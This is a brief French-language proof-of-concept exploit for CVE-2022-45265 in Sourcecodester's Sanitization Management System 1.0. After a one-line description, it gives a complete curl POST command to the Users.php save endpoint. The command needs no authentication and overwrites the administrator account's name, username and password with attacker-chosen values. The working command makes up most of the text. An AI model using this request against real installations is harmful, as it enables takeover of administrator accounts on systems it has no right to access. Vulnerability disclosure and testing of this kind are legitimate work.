
Exploit de preuve de concept pour CVE-2022-45265 ciblant le système de gestion de la désinfection Sourcecodester 1.0 via une modification d'utilisateur non authentifiée par une requête POST vers le point de terminaison save.
Dans le Sanitization Management System (1.0) distribué par sourcecodester.com
curl --location --request POST 'http://localhost/php-sms/classes/Users.php?f=save' \
--form 'id="1"' \
--form 'firstname="HACKED"' \
--form 'lastname="Administrator"' \
--form 'username="admin"' \
--form 'password="maikroservicewashere"'